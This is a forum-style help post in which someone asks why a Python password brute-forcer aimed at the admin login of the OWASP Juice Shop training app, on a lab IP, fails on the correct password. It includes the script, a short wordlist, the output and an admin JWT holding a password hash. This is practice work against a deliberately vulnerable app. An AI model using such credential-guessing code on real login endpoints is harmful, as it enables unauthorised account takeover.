Im messing around with the OWASP juice shop site, and trying to implement a bruteforcer to break admin password.
this is my code:
#! /usr/bin/env python3
import requests
def try_login(password):
url = "http://10.10.187.141/rest/user/login"
req = requests.post(url, data = {"email":"admin@juice-sh.op","password":password})
return req
wordlist = open('testlist.txt', 'r')
list = wordlist.readlines()
for item in list:
req = try_login(item)
print(item)
print(req.text)
I know the password is 'admin123', and the wordlist I'm using has this entry. When i run the script if gets a invalid password response when it tries the correct password.
if i call the try_login functions passing 'admin123' directly like that:
req = try_login('admin123')
print(item)
print(req.text)
i get the login success response
content of my testlist.txt
aaa
admin
admin1
admin12
admin123
adminadmin
output from my script
root@kali:~/thm/brute_forcing# python brute.py
aaa
Invalid email or password.
admin
Invalid email or password.
admin1
Invalid email or password.
admin12
Invalid email or password.
admin123
Invalid email or password.
adminadmin
Invalid email or password.
adminadmin
output when I pass the correct password directly:
{"authentication":{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIxMC45LjIwNy4xNDAiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHQuc3ZnIiwidG90cFNlY3JldCI6IiIsImlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQiOiIyMDIxLTAyLTI2IDE4OjA2OjE4LjYyMiArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDIxLTAyLTI2IDE5OjM4OjE2LjI3NSArMDA6MDAiLCJkZWxldGVkQXQiOm51bGx9LCJpYXQiOjE2MTQzNjk2MjMsImV4cCI6MTYxNDM4NzYyM30.C8i0CXA0F7KC33zS_EyJxnPRSP23bNMbkv3lldaIFvS0qwaE26cpIDuW9iS1VgabQQi15KqVqpJdeUPS1PIRjHNAxRHepQF2UxY_mjIF7fiDtST1FG6ZSb05M9N-0dt_wxWBSzTeJHX2p4ixu0GD5pZ3yjJZK9QzHg6IoFjajIQ","bid":1,"umail":"admin@juice-sh.op"}}
Does enyone know why there is a diference?
Aucun commentaire:
Enregistrer un commentaire